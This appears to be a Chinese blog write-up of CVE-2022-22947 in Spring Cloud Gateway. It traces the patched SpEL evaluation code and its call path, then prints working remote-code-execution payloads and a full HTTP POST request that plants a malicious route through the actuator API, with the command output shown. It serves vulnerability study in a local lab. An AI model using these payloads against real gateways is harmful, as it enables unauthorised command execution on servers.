网站首页 > 博客文章 正文
[[spel inj|SPEL]] CASTING AND EVIL BEANS
Base
- 漏洞环境:VulEnv/springboot/cve_2022_22947 at master · XuCcc/VulEnv
Source 分析
查看 v3.0.6->v3.0.7 的官方补丁 Comparing v3.0.6…v3.0.7 · spring-cloud/spring-cloud-gateway,官方在 ShortcutConfigurable#getValue 方法中将 StandardEvaluationContext 修正成了 GatewayEvaluationContext
static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
Object value;
String rawValue = entryValue;
if (rawValue != null) {
rawValue = rawValue.trim();
}
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
// assume it's spel
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
}
向上回溯调用路径
- org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#DEFAULT
- org.springframework.cloud.gateway.support.ShortcutConfigurable#shortcutType
- org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
跟踪 properties 值 - org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#properties
- org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
- org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters
- org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute
- org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getRoutes
至此,可以得出 gateway 在对 filters 进行转换解析时触发了 spel 注入
POC 编写
在关键位置打上断点后,运行 app 尝试进入漏洞点。翻阅下官方文档 Spring Cloud Gateway[^1] 看下如何定义一个简单的路由
spring:
cloud:
gateway:
routes:
- id: after_route
uri: https://example.org
predicates:
- name: Cookie
args:
name: mycookie
regexp: mycookievalue
debug 程序后,发现 mycookie 成功传入到了 org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue 的 entryValue 参数中
getValue:51, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
lookup:216, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
combinePredicates:189, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:116, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
apply:-1, 1605299030 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$Lambda$842)//.....
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)//.....
main:33, Cve202222947Application (person.xu.vulEnv)
注入下 spel 表达式
“#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec(‘whoami’).getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}”
访问 http://127.0.0.1:8083/actuator/gateway/routes/ 发现成功执行了命令
EXP 编写
那如何通过远程触发呢?根据 Gateway Actuator API [^2] 文档,/gateway/routes/{id_route_to_create} 接口提供了创建路由的能力 其中 json 构造方式如文档中的
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0}
将其转换一下得到
{
"id": "first_route",
"predicates": [
{
"name": "Cookie",
"args": {
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('id')}",
"_genkey_1": "mycookievalue"
}
}
],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0}
通过 POST 发送 exp
POST /actuator/gateway/routes/first_route HTTP/1.1
Host: 127.0.0.1:8083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 385
{
"id": "first_route",
"predicates": [{
"name": "Cookie",
"args": {"_genkey_0":"#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}",
"_genkey_1":"mycookievalue"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}]
后通过 /actuator/gateway/refresh 刷新路由缓存 访问 /actuator/gateway/routes/ 得到命令执行的结果
[
{
"predicate": "Paths: [/get], match trailing slash: true",
"route_id": "path_route",
"filters": [],
"uri": "http://httpbin.org:80",
"order": 0
},//........
{
"predicate": "Cookie: name=china\\xuuupro\r\n regexp=mycookievalue",
"route_id": "first_route",
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}]
Reference
- CVE-2022-22947: SpEL Casting and Evil Beans – Wya.pl
Footnote
[^1]: Spring Cloud Gateway
[^2]: 11. Actuator API
猜你喜欢
- 2024-09-11 Spring Security 全局方法安全:预过滤和后过滤(2)
- 2024-09-11 「Spring Boot 源码研究 」- 自动化装配条件化配置Conditional剖析
- 2024-09-11 面试:Spring Boot 中的条件注解底层是如何实现的?
- 2024-09-11 SpringBoot系列(十五)整合缓存,项目必用的技术
- 2024-09-11 如何优雅地记录操作日志?(如何优雅地记录操作日志)
- 2024-09-11 SpEL应用实战(应用spc技术)
- 2024-09-11 有趣的SpEL注入(有趣的工作群名称大全)
- 2024-09-11 SpringBoot 实现异步记录复杂日志
- 2024-09-11 redis 分布式锁(redis 分布式锁失效时间)
- 2024-09-11 Spring SPEL,自定义注解实现分布式锁
你 发表评论:
欢迎- 06-23MySQL合集-mysql5.7及mysql8的一些特性
- 06-23MySQL CREATE TABLE 简单设计模板交流
- 06-23MYSQL表设计规范(mysql设计表注意事项)
- 06-23MySQL数据库入门(四)数据类型简介
- 06-23数据丢失?别慌!MySQL备份恢复攻略
- 06-23MySQL设计规范(mysql 设计)
- 06-23MySQL数据实时增量同步到Elasticsearch
- 06-23MySQL 避坑指南之隐式数据类型转换
- 最近发表
- 标签列表
-
- powershellfor (55)
- messagesource (56)
- aspose.pdf破解版 (56)
- promise.race (63)
- 2019cad序列号和密钥激活码 (62)
- window.performance (66)
- qt删除文件夹 (72)
- mysqlcaching_sha2_password (64)
- ubuntu升级gcc (58)
- nacos启动失败 (64)
- ssh-add (70)
- jwt漏洞 (58)
- macos14下载 (58)
- yarnnode (62)
- abstractqueuedsynchronizer (64)
- source~/.bashrc没有那个文件或目录 (65)
- springboot整合activiti工作流 (70)
- jmeter插件下载 (61)
- 抓包分析 (60)
- idea创建mavenweb项目 (65)
- vue回到顶部 (57)
- qcombobox样式表 (68)
- vue数组concat (56)
- tomcatundertow (58)
- pastemac (61)
本文暂时没有评论,来添加一个吧(●'◡'●)